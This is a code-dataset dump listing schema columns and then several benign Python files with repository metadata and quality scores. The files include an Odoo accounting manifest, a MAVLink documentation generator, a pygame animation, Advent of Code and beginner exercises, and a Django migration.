hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1c621269f027420052a3f02263586abb44802fed
1,850
py
Python
odoo-13.0/addons/l10n_es/__manifest__.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
odoo-13.0/addons/l10n_es/__manifest__.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
odoo-13.0/addons/l10n_es/__manifest__.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. # List of contributors: # Jordi Esteve <jesteve@zikzakmedia.com> # Ignacio Ibeas <ignacio@acysos.com> # Dpto. Consultoría Grupo Opentia <consultoria@opentia.es> # Pedro M. Baeza <pedro.baeza@tecnativa.com> # Carlos Liébana <carlos.liebana@factorlibre.com> # Hugo Santos <hugo.santos@factorlibre.com> # Albert Cabedo <albert@gafic.com> # Olivier Colson <oco@odoo.com> # Roberto Lizana <robertolizana@trey.es> { "name" : "Spain - Accounting (PGCE 2008)", "version" : "4.0", "author" : "Spanish Localization Team", 'category': 'Localization', "description": """ Spanish charts of accounts (PGCE 2008). ======================================== * Defines the following chart of account templates: * Spanish general chart of accounts 2008 * Spanish general chart of accounts 2008 for small and medium companies * Spanish general chart of accounts 2008 for associations * Defines templates for sale and purchase VAT * Defines tax templates * Defines fiscal positions for spanish fiscal legislation * Defines tax reports mod 111, 115 and 303 """, "depends" : [ "account", "base_iban", "base_vat", ], "data" : [ 'data/account_group.xml', 'data/account_chart_template_data.xml', 'data/account.account.template-common.csv', 'data/account.account.template-pymes.csv', 'data/account.account.template-assoc.csv', 'data/account.account.template-full.csv', 'data/account_chart_template_account_account_link.xml', 'data/account_data.xml', 'data/account_tax_data.xml', 'data/account_fiscal_position_template_data.xml', 'data/account_chart_template_configure_data.xml', ], }
35.576923
79
0.666486
219
1,850
5.52968
0.474886
0.099917
0.069364
0.059455
0.227911
0.086705
0.059455
0
0
0
0
0.021651
0.201081
1,850
51
80
36.27451
0.7977
0.260541
0
0.055556
0
0
0.786716
0.327675
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
1c63651b998275cab39273dd8e25b0400010f487
828
py
Python
Python_Exercicios/funcoes_error.py
thalles-dreissig20/Quebra_Cabeca
eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79
[ "MIT" ]
null
null
null
Python_Exercicios/funcoes_error.py
thalles-dreissig20/Quebra_Cabeca
eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79
[ "MIT" ]
1
2021-11-29T18:37:14.000Z
2021-11-29T18:37:14.000Z
Python_Exercicios/funcoes_error.py
thalles-dreissig20/Quebra_Cabeca
eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79
[ "MIT" ]
null
null
null
def leiaInt(msg): while True: try: n = int(input(msg)) except (ValueError, TypeError): print('Erro: Por favor, digite um numero valido') continue except (KeyboardInterrupt): print('Entrada interromepida pelo usuario') return 0 else: return n def leiaFloat(msg): while True: try: n = float(input(msg)) except (ValueError, TypeError): print('Erro: Por favor, digite um numero valido') continue except (KeyboardInterrupt): print('Entrada interromepida pelo usuario') return 0 else: return n num1 = leiaInt('digite um numero inteiro: ') num2 = leiaFloat('digite um numero real: ') print(num1, num2 )
26.709677
60
0.541063
83
828
5.39759
0.421687
0.071429
0.125
0.066964
0.763393
0.691964
0.691964
0.691964
0.691964
0.691964
0
0.011561
0.373188
828
31
61
26.709677
0.851638
0
0
0.740741
0
0
0.237636
0
0
0
0
0
0
1
0.074074
false
0
0
0
0.222222
0.185185
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c66055157dc1ad25ea0a9603aa062b4d0d7f944
338
py
Python
setup.py
efornaciari/keras-mixed-scale-dense-net
e4401b64d93a92b0660805062c327fded6a9461a
[ "Apache-2.0" ]
3
2018-04-21T11:43:42.000Z
2018-05-07T12:36:53.000Z
setup.py
efornaciari/keras-mixed-scale-dense-net
e4401b64d93a92b0660805062c327fded6a9461a
[ "Apache-2.0" ]
null
null
null
setup.py
efornaciari/keras-mixed-scale-dense-net
e4401b64d93a92b0660805062c327fded6a9461a
[ "Apache-2.0" ]
3
2018-04-26T03:08:28.000Z
2019-08-12T12:47:58.000Z
import setuptools setuptools.setup( name='keras-mixed-scale-dense-net', version='0.0.2', url='https://github.com/efornaciari/keras-mixed-scale-dense-net', author='Eric Fornaciari', maintainer='Eric Fornaciari', packages=setuptools.find_packages(), install_requires=['keras', 'keras-resnet', 'six', 'scipy'], )
30.727273
69
0.692308
41
338
5.658537
0.682927
0.086207
0.12931
0.172414
0.198276
0
0
0
0
0
0
0.010204
0.130178
338
11
70
30.727273
0.778912
0
0
0
0
0
0.427729
0.079646
0
0
0
0
0
1
0
true
0
0.1
0
0.1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
1c70b2a0219ae3583c7f51ca814ffeab5f6c404a
14,522
py
Python
PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py
JinRIIS/Custom-PX4
1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8
[ "BSD-3-Clause" ]
3
2021-04-28T15:27:04.000Z
2021-05-03T16:23:24.000Z
PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py
JinRIIS/Custom-PX4
1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8
[ "BSD-3-Clause" ]
4
2021-05-03T16:58:53.000Z
2021-12-21T21:01:02.000Z
PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py
JinRIIS/Custom-PX4
1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8
[ "BSD-3-Clause" ]
9
2021-04-28T15:26:34.000Z
2021-12-21T20:41:30.000Z
#! /usr/bin/python """ This script generates markdown files for all the MAVLink message definition XML at: https://github.com/mavlink/mavlink/tree/master/message_definitions/v1.0 The files can be imported into a gitbook to display the messages as HTML The script runs on both Python2 and Python 3. The following libraries must be imported: lxml, requests, bs4. The file is run in mavlink/doc/ with no arguments. It writes the files to /messages/ """ import lxml.etree as ET import requests from bs4 import BeautifulSoup as bs import re import os # for walk xsl_file_name = "mavlink_to_html_table_gitbook.xsl" xml_message_definitions_dir_name = "../message_definitions/v1.0/" output_dir = "./messages/" output_dir_html=output_dir+"_html/" if not os.path.exists(output_dir_html): os.makedirs(output_dir_html) # File for index index_file_name = "README.md" index_file_name = output_dir + index_file_name # Get XSLT with open(xsl_file_name, 'r') as content_file: xsl_file = content_file.read() xslt = ET.fromstring(xsl_file) #initialise text for index file. index_text="""<!-- THIS FILE IS AUTO-GENERATED (DO NOT UPDATE GITBOOK): https://github.com/mavlink/mavlink/blob/master/doc/mavlink_gitbook.py --> # Dialects {#dialects} MAVLink *dialects* are XML definition files that define *protocol-* and *vendor-specific* messages, enums and commands. Dialects may *include* other MAVLink XML files, which may in turn contain other XML files (up to 5 levels of XML file nesting are allowed - see `MAXIMUM_INCLUDE_FILE_NESTING` in [mavgen.py](https://github.com/ArduPilot/pymavlink/blob/master/generator/mavgen.py#L44)). A typical pattern is for a dialect to include [common.xml](../messages/common.md) (containing the *MAVLink standard definitions*), extending it with vendor or protocol specific messages. ## Standard Definitions The following XML definition files are considered standard/core (i.e. not dialects): * [minimal.xml](minimal.md) - the minimum set of entities (messages, enums, MAV_CMD) required to set up a MAVLink network. * [standard.xml](standard.md) - the standard set of entities that are implemented by almost all flight stacks (at least 2, in a compatible way). This `includes` [minimal.xml](minimal.md). * [common.xml](../messages/common.md) - the set of entitites that have been implemented in at least one core flight stack. This `includes` [standard.xml](minimal.md) Further, [all.xml](all.md) is a _special case_. It includes almost all other XML definition files, and can be used to verify that there are no ID clashes (and can potentially be used by GCS to communicate with any core dialect). > **Note** We are still working towards moving the truly standard entities from **common.xml** to **standard.xml** Currently you should include [common.xml](../messages/common.md) ## Core Dialects Core dialects are stored in [mavlink/message definitions](https://github.com/mavlink/mavlink/blob/master/message_definitions/). These are the dialects for the major MAVLink stakeholder flight stacks. > **Note** Vendor forks of MAVLink may contain dialect messages that are not yet merged, and hence will not appear in this documentation. Human-readable forms of all the the core dialects are linked below: """ index_text_trailer="""## External Dialects MAVLink provides the [/external/dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects) folder for dialects from projects that are not maintained by core MAVLink stakeholders or part of the MAVLink standard. This mechanism is provided to help non-stakeholder dialect owners avoid clashes with other dialects (and the standard), and to ease integration of generic behaviours into the standard in future. These are not managed by the core team and do not appear in this documentation. Information about using the folder can be found in github: [/external/dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects) > **Note** We *highly* recommend that you work with the standard and core stakeholder dialects rather than using this approach (there are significant benefits in terms of compatibility and adoptability when using the standard definitions). """ #Fix up the BeautifulSoup output so to fix build-link errors in the generated gitbook. ## BS puts each tag/content in its own line. Gitbook generates anchors using the spaces/newlines. ## This puts displayed text content immediately within tags so that anchors/links generate properly def fix_content_in_tags(input_html): #print("fix_content_in_tags was called") def remove_space_between_content_tags(matchobj): stripped_string=matchobj.group(1).strip() return '>%s<' % stripped_string input_html=re.sub(r'\>(\s+?\w+?.*?)\<', remove_space_between_content_tags, input_html,flags=re.DOTALL) return input_html def fix_external_dialect_link(input_html): #print("fix_external_dialect_link was called") def fixupexternaldialecturls(matchobj): return matchobj.group(1).strip() input_html=re.sub(r'<a href="../../external/.*?>(.*?)</a>', fixupexternaldialecturls, input_html,flags=re.DOTALL) return input_html def fix_include_file_extension(input_html): ## Fixes up file extension .xml.md.unlikely (easier than fixing up the XSLT to strip file extensions!) input_html=input_html.replace('.xml.md.unlikely','.md') return input_html def fix_replace_space_marker(input_html): ## Above we remove hidden space. I can't seem to regexp just that type of space, so use space markers in text input_html=input_html.replace('xxx_space_xxx',' ') return input_html def strip_text_before_string(original_text,strip_text): # Strip out all text before some string index=original_text.find(strip_text) stripped_string=original_text if index !=-1 : stripped_string = stripped_string[index:] return stripped_string def fix_add_implicit_links_items(input_html): # Makes screaming snake case into anchors. Special fix for MAV_CMD. #print("fix_add_implicit_link was called") def make_text_to_link(matchobj): #print("make_entry_to_link was called: %s" % matchobj.group(0)) item_string = matchobj.group(2) item_url=item_string if item_string == 'MAV_CMD': item_url='mav_commands' returnString = '%s<a href="#%s">%s</a>%s' % (matchobj.group(1),item_url,item_string,matchobj.group(3)) #print("returnstring: %s" % returnString) return returnString input_html=re.sub(r'([\`\(\s,]|^)([A-Z]{2,}(?:_[A-Z0-9]+)+)([\`\)\s\.,:]|$)', make_text_to_link, input_html,flags=re.DOTALL) return input_html def inject_top_level_docs(input_html,filename): #Inject top level heading and other details. print('FILENAME (prefix): %s' % filename) insert_text='<!-- THIS FILE IS AUTO-GENERATED: https://github.com/mavlink/mavlink/blob/master/doc/mavlink_gitbook.py -->' if filename == 'common': insert_text+=""" # MAVLINK Common Message Set The MAVLink *common* message set contains *standard* definitions that are managed by the MAVLink project. The definitions cover functionality that is considered useful to most ground control stations and autopilots. MAVLink-compatible systems are expected to use these definitions where possible (if an appropriate message exists) rather than rolling out variants in their own [dialects](../messages/README.md). The original definitions are defined in [common.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/common.xml). > **Tip** The common set `includes` [minimal.xml](minimal.md), which contains the *minimal set* of definitions for any MAVLink system. These definitions are [reproduced at the end of this topic](#minimal). """ elif filename == 'minimal': insert_text+=""" # MAVLink Minimal Set The MAVLink *minimal* set contains the minimal set of definitions for a viable MAVLink system. The message set is defined in [minimal.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/minimal.xml) and is managed by the MAVLink project. > **Tip** The minimal set is included (imported into) other xml definition files, including the [MAVLink Common Message Set (common.xml)](minimal.md). """ elif filename == 'ardupilotmega': insert_text+=""" # Dialect: ArduPilotMega These messages define the ArduPilot specific message set, which is custom to [http://ardupilot.org](http://ardupilot.org). This topic is a human-readable form of the XML definition file: [ardupilotmega.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/ardupilotmega.xml). > **Warning** The ArduPilot MAVLink fork of [ardupilotmega.xml](https://github.com/ArduPilot/mavlink/blob/master/message_definitions/v1.0/ardupilotmega.xml) may contain messages that have not yet been merged into this documentation. """ elif filename == 'development': insert_text+=""" # Dialect: development This dialect contains messages that are proposed for inclusion in the [standard set](standard.md), in order to ease development of prototype implementations. They should be considered a 'work in progress' and not included in production builds. This topic is a human-readable form of the XML definition file: [development.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/development.xml). """ elif filename == 'all': insert_text+=""" # Dialect: all This dialect is intended to `include` all other [dialects](../messages/README.md) in the mavlink/mavlink repository (including [external dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects#mavlink-external-dialects)). Dialects that are in **all.xml** are guaranteed to not have clashes in messages, enums, enum ids, and MAV_CMDs. This ensure that: - Systems based on these dialects can co-exist on the same MAVLink network. - A Ground Station might (optionally) use libraries generated from **all.xml** to communicate using any of the dialects. > **Warning** New dialect files in the official repository must be added to **all.xml** and restrict themselves to using ids in their own allocated range. A few older dialects are not included because these operate in completely closed networks or because they are only used for tests. This topic is a human-readable form of the XML definition file: [all.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/all.xml). """ else: insert_text+='\n# Dialect: %s' % filename.rsplit('.',1)[0] insert_text+='\n\n*This is a human-readable form of the XML definition file: [%s](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/%s).*' % (filename, filename) insert_text+=""" <span></span> > **Note** MAVLink 2 messages have an ID > 255 and are marked up using **(MAVLink 2)** in their description. <span id="mav2_extension_field"></span> > **Note** MAVLink 2 extension fields that have been added to MAVLink 1 messages are displayed in blue. <style> td { vertical-align:top; } </style> """ # Include HTML in generated content insert_text+='\n\n{%% include "_html/%s.html" %%}' % filename input_html=insert_text+'\n\n'+input_html if filename == 'common': input_html+=""" # Minimal.xml {#minimal} The minimal set of definitions required for any MAVLink system are included from [minimal.xml](minimal.md). These are listed below. {% include "_html/minimal.html" %}""" #print(input_html) return input_html dialect_files = set() all_files = set() for subdir, dirs, files in os.walk(xml_message_definitions_dir_name): #Generate html for all the XML files for file in files: print(file) if not file.endswith('.xml'): #only process xml files. continue xml_file_name = xml_message_definitions_dir_name+file with open(xml_file_name, 'r') as content_file: xml_file = content_file.read() dom = ET.fromstring(xml_file) transform = ET.XSLT(xslt) newdom = transform(dom) #Prettify the HTML using BeautifulSoup soup=bs(str(newdom), "lxml") prettyHTML=soup.prettify() #Strip out text before <html> tag in XSLT output prettyHTML=strip_text_before_string(prettyHTML,'<html>') prettyHTML = fix_content_in_tags(prettyHTML) #Replace invalid file extensions (workaround for xslt) prettyHTML = fix_include_file_extension(prettyHTML) #Replace space markers with intentional space prettyHTML = fix_replace_space_marker(prettyHTML) #Fix up links to external dialects to not be links prettyHTML = fix_external_dialect_link(prettyHTML) #Fix up plain text mav symbols to be internal links prettyHTML = fix_add_implicit_links_items(prettyHTML) #Write output html file output_file_name_html = file.rsplit('.',1)[0]+".html" output_file_name_html_withdir = output_dir_html+output_file_name_html print("Output filename (html): %s" % output_file_name_html) with open(output_file_name_html_withdir, 'w') as out: out.write(prettyHTML) # Create sortable list of output file names #Write output markdown file output_file_name_prefix = file.rsplit('.',1)[0] all_files.add(output_file_name_prefix) if not file=='common.xml' and not file=='standard.xml' and not file=='minimal.xml': dialect_files.add(output_file_name_prefix) # Generate the markdown files for file_prefix in all_files: print(file_prefix) markdown_text='' #Inject a heading and doc-type intro (markdown format) markdown_text = inject_top_level_docs(markdown_text,file_prefix) output_file_name_md_withdir = output_dir+file_prefix+'.md' print("Output filename (md): %s" % output_file_name_md_withdir) with open(output_file_name_md_withdir, 'w') as out: out.write(markdown_text) for the_file in sorted(dialect_files): index_text+='\n* [%s.xml](%s.md)' % (the_file,the_file) index_text+='\n\n' index_text+=index_text_trailer #Write the index with open(index_file_name, 'w') as content_file: content_file.write(index_text) print("COMPLETED")
45.099379
267
0.727655
2,090
14,522
4.925359
0.211005
0.022732
0.0204
0.02652
0.223043
0.14999
0.121624
0.110744
0.110744
0.094618
0
0.004157
0.171739
14,522
321
268
45.239875
0.851679
0.133935
0
0.114583
1
0.1875
0.611222
0.045255
0
0
0
0
0
1
0.052083
false
0
0.03125
0.005208
0.135417
0.03125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c7419dfc7215bc92a8f661c8add619eb0cded10
254
py
Python
exercicios/Lista1/Q32.py
AlexandrePeBrito/CursoUdemyPython
3de58cb30c9f333b32078309847179ff3f9d7e22
[ "MIT" ]
null
null
null
exercicios/Lista1/Q32.py
AlexandrePeBrito/CursoUdemyPython
3de58cb30c9f333b32078309847179ff3f9d7e22
[ "MIT" ]
null
null
null
exercicios/Lista1/Q32.py
AlexandrePeBrito/CursoUdemyPython
3de58cb30c9f333b32078309847179ff3f9d7e22
[ "MIT" ]
null
null
null
#leia um numero inteiro e #imprima a soma do sucessor de seu triplo com #o antecessor de seu dobro num=int(input("Informe um numero: ")) valor=((num*3)+1)+((num*2)-1) print(f"A soma do sucessor de seu triplo com o antecessor de seu dobro eh {valor}")
28.222222
83
0.712598
49
254
3.693878
0.571429
0.110497
0.077348
0.165746
0.552486
0.552486
0.552486
0.552486
0.552486
0.552486
0
0.018868
0.165354
254
9
83
28.222222
0.834906
0.370079
0
0
0
0
0.582278
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c750efd51ec4b035096058af77ff6b8b8067c0f
1,816
py
Python
02_pygame_intro/1_hourglass.py
NickKaramoff/DjangoClasses
32c275d6d49888626375140070c83dca4cd67982
[ "Unlicense" ]
null
null
null
02_pygame_intro/1_hourglass.py
NickKaramoff/DjangoClasses
32c275d6d49888626375140070c83dca4cd67982
[ "Unlicense" ]
null
null
null
02_pygame_intro/1_hourglass.py
NickKaramoff/DjangoClasses
32c275d6d49888626375140070c83dca4cd67982
[ "Unlicense" ]
null
null
null
import pygame import sys pygame.init() clock = pygame.time.Clock() black = (0, 0, 0) white = (255, 255, 255) light_gray = (220, 220, 220) states = [ [ (100, 50), (250, 50), (250, 100), (180, 170), (180, 180), (250, 250), (250, 300), (100, 300), (100, 250), (170, 180), (170, 170), (100, 100), (100, 50) ], [ (215, 30), (320, 135), (280, 175), (180, 175), (175, 180), (175, 280), (135, 320), (30, 215), (70, 175), (170, 175), (175, 170), (175, 70), (215, 30) ], [ (50, 100), (100, 100), (170, 170), (180, 170), (250, 100), (300, 100), (300, 250), (250, 250), (180, 180), (170, 180), (100, 250), (50, 250), (50, 100) ], [ (135, 30), (30, 135), (70, 175), (170, 175), (175, 180), (175, 280), (215, 320), (320, 215), (280, 175), (180, 175), (175, 170), (175, 70), (135, 30) ] ] cur_state = 0 line_width = 3 screen = pygame.display.set_mode((350, 350)) screen.fill(light_gray) pygame.draw.lines(screen, black, False, states[cur_state], line_width) pygame.display.update() while True: for event in pygame.event.get(): # Exit game on X press if event.type == pygame.QUIT: pygame.quit() sys.exit() cur_state += 1 if cur_state >= len(states): cur_state = 0 screen.fill(light_gray) pygame.draw.lines(screen, black, False, states[cur_state], line_width) elapsed = clock.tick(5) pygame.display.update()
18.916667
74
0.430617
214
1,816
3.593458
0.285047
0.062419
0.046814
0.031209
0.309493
0.189857
0.189857
0.189857
0.189857
0.189857
0
0.298997
0.395925
1,816
95
75
19.115789
0.402005
0.011013
0
0.494253
0
0
0
0
0
0
0
0
0
1
0
false
0
0.022989
0
0.022989
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c7a7bce98e422d8ac9be27f328cfb148518559e
262
py
Python
python3/2021/01-Sonar-Sweep/part2.py
DavidPesta/AdventOfCode
edd82fbc2776added6ae741d5318f97fc0c62e9f
[ "MIT" ]
3
2021-12-02T04:03:53.000Z
2021-12-30T20:31:30.000Z
python3/2021/01-Sonar-Sweep/part2.py
DavidPesta/AdventOfCode
edd82fbc2776added6ae741d5318f97fc0c62e9f
[ "MIT" ]
null
null
null
python3/2021/01-Sonar-Sweep/part2.py
DavidPesta/AdventOfCode
edd82fbc2776added6ae741d5318f97fc0c62e9f
[ "MIT" ]
null
null
null
input = open('input.txt', 'r').read().split("\n") depths = list(map(lambda s: int(s), input)) increases = 0; for i in range(1, len(depths)): if depths[i-2] + depths[i-1] + depths[i] > depths[i-3] + depths[i-2] + depths[i-1]: increases += 1 print(increases)
26.2
84
0.614504
47
262
3.425532
0.531915
0.26087
0.099379
0.173913
0.198758
0.198758
0
0
0
0
0
0.035874
0.148855
262
10
85
26.2
0.686099
0
0
0
0
0
0.045627
0
0
0
0
0
0
1
0
false
0
0
0
0
0.142857
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c84ba00009c76455935ccae860cd58401928946
207
py
Python
packages/nasm.py
mhutch/bockbuild
0d989e2d0259d17d41a195f8d28b3844a4652e7b
[ "MIT" ]
null
null
null
packages/nasm.py
mhutch/bockbuild
0d989e2d0259d17d41a195f8d28b3844a4652e7b
[ "MIT" ]
null
null
null
packages/nasm.py
mhutch/bockbuild
0d989e2d0259d17d41a195f8d28b3844a4652e7b
[ "MIT" ]
null
null
null
class NasmPackage (Package): def __init__ (self): Package.__init__ (self, 'nasm', '2.10.07', sources = [ 'http://www.nasm.us/pub/nasm/releasebuilds/2.10.07/nasm-%{version}.tar.xz' ]) NasmPackage ()
25.875
77
0.666667
29
207
4.482759
0.655172
0.123077
0.076923
0
0
0
0
0
0
0
0
0.055249
0.125604
207
7
78
29.571429
0.662983
0
0
0
0
0.166667
0.400966
0
0
0
0
0
0
1
0.166667
false
0
0
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c8966ef9744804113dd28211bc02088b98632ea
543
py
Python
core/migrations/0008_auto_20200212_1114.py
StateArchivesOfNorthCarolina/ratom_server
7fc2c179f1baee85c4b95cdf64a2d5d690d2482e
[ "MIT" ]
1
2020-02-24T03:47:17.000Z
2020-02-24T03:47:17.000Z
core/migrations/0008_auto_20200212_1114.py
StateArchivesOfNorthCarolina/ratom_server
7fc2c179f1baee85c4b95cdf64a2d5d690d2482e
[ "MIT" ]
21
2020-01-20T13:29:51.000Z
2022-03-12T00:11:12.000Z
core/migrations/0008_auto_20200212_1114.py
StateArchivesOfNorthCarolina/ratom_server
7fc2c179f1baee85c4b95cdf64a2d5d690d2482e
[ "MIT" ]
3
2020-08-27T09:20:34.000Z
2022-01-24T06:20:14.000Z
# Generated by Django 2.2.10 on 2020-02-12 16:14 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0007_auto_20200206_0844'), ] operations = [ migrations.RenameField( model_name='historicalmessageaudit', old_name='restrictions', new_name='restriction', ), migrations.RenameField( model_name='messageaudit', old_name='restrictions', new_name='restriction', ), ]
22.625
48
0.587477
50
543
6.2
0.66
0.135484
0.167742
0.193548
0.23871
0.23871
0
0
0
0
0
0.085106
0.307551
543
23
49
23.608696
0.739362
0.084715
0
0.470588
1
0
0.216162
0.090909
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c953938d67ef95a85d06372c6dca9c5424049ae
5,348
py
Python
connect/eaas/extension.py
bdjilka/connect-extension-runner
7930b34dae92addb3807984fd553debc2b78ac23
[ "Apache-2.0" ]
5
2021-05-13T10:07:04.000Z
2021-11-18T10:11:05.000Z
connect/eaas/extension.py
bdjilka/connect-extension-runner
7930b34dae92addb3807984fd553debc2b78ac23
[ "Apache-2.0" ]
4
2021-06-08T21:14:23.000Z
2022-03-31T08:29:52.000Z
connect/eaas/extension.py
bdjilka/connect-extension-runner
7930b34dae92addb3807984fd553debc2b78ac23
[ "Apache-2.0" ]
4
2021-07-01T10:50:29.000Z
2022-03-25T13:13:47.000Z
